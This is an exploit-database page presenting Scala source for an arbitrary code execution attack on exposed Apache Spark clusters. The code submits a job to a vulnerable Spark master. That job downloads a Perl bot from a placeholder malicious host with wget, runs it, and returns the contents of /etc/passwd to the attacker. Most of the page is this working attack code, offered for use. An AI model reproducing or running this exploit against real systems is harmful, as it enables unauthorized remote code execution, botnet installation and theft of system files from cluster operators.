[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Apache Spark Cluster Arbitary Code Execution Exploit

Author
akhld
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-23451
Category
remote exploits
Date add
28-03-2015
Platform
multiple
import org.apache.spark.{SparkContext, SparkConf}

    /**
     * Created by akhld on 23/3/15.
     */

    object Exploit {
      def main(arg: Array[String]) {
        val sconf = new SparkConf()
          .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
          .setAppName("Exploit")
          .set("spark.cores.max", "12")
          .set("spark.executor.memory", "10g")
          .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack

        val sc = new SparkContext(sconf)
	      sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")

        val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
  	       val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })
        exploit.collect().foreach(println)
      }
    }

#  0day.today [2024-11-15]  #